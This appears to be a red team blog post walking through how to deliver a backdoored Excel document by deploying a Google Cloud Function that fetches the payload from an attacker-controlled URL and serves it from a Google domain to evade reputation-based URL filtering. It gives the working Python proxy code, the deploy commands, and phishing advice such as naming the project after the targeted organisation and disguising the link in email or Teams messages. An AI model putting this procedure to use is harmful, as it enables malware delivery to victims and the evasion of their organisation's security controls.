Maldoc Transfers in the Google Cloud
On a recent red team engagement, we faced the challenge of serving a backdoored Excel document as part of a social engineering campaign against an environment using very strong reputation-based URL filtering. Although we and others have written in detail about abusing serverless cloud functions to redirect C2 traffic, this time we needed the reverse: a way to serve a file to the victim's machine while bypassing their environment's domain reputation controls. What we came up with was a simple Python function that fetches data from any attacker specified URL and serves it to a victim visiting a Google-controlled domain. This post will walk through the procedures we used to successfully bypass our target's domain reputation filtering service.
Google Cloud currently allows the deployment of HTTP functions in Node.js, Python, Go, Java, C#, Ruby, and PHP. Most of this section is based off of their great quickstart documentation. We are using Python for this example.
This walkthrough assumes the reader has already created a Google Cloud account.
Create the Project
Create a new project in the Google Cloud Console's web GUI:
The most important thing to note for red team operators is that your project's name and region will be displayed in the function's public-facing URL, so pick a project name and region that fits your pretext. We used the name of the organization we were targeting with no issues.
Also be sure to enable the necessary Google Cloud APIs for the project. These are:
- Cloud Functions API
- Cloud Build API
- Artifact Registry API
- Cloud Run API
- Logging API
Then, install the
gcloud CLI tool. Here's how.
Create a new directory where your function will live:
mkdir foo cd foo
In that directory, create a file
main.py and paste the following code:
from flask import Response import functions_framework import requests @functions_framework.http def foo(request): ### The function name will be the /endpoint in the produced URL, so pick your function's name according to your scenario. url = "<MALDOC URL>" ### replace with payload URL response = Response() response.content_type = "<Appropriate 'Content-Type' of Maldoc>" ### for xls files this is "application/vnd.ms-excel" response.set_data(requests.get(url).content) return response
Change the placeholder code on the commented lines. The
functionName you choose will be part of the function's public URL so be sure to pick a name that suits your campaign. You'll also need to specify the correct IANA Media Type for the
Content-Type HTTP header.
Next, specify your code's package dependencies in a
requirements.txt file in the same directory as
echo "requests" > requirements.txt
At this point, your function is ready to deploy.
From the same directory containing the two files you just created, run the following command, swapping
functionName for the name of your function in
gcloud functions deploy foo --runtime python310 --trigger-http --allow-unauthenticated
The function name in the above command must match the function name in your code exactly.
--trigger-http flag sets the trigger for the function to be a standard GET request.
--allow-unauthenticated makes the function public.
If it works, you will get output that looks like this:
In the screenshot above, we can see that a trigger url is returned after successful deployment. The trigger url always looks something like
https://GCP-region-project-name.cloudfunctions.net/functionName. It's not the prettiest, but it got past the security controls it needed to.
gcloud CLI will pass build error messages along, it is sometimes useful to go over the tracebacks in detail in the Logs Explorer, which allows us to query logs from any part of our project.
The Logs Explorer also stores anything a project prints to
stdout. If we add the line
print("FOO") to our function’s code, we will see the string
FOO printed to our logs when we trigger the function :
If everything works, you will be prompted to download the malicious file by simply visiting the trigger URL.
The cloud function URLs are not the prettiest so if you can, disguise them with HTML in an email or Microsoft Teams message.
We hope this is useful, and if you have any questions, don't hesitate to contact us or check out similar blog posts on our website. As always, happy hacking!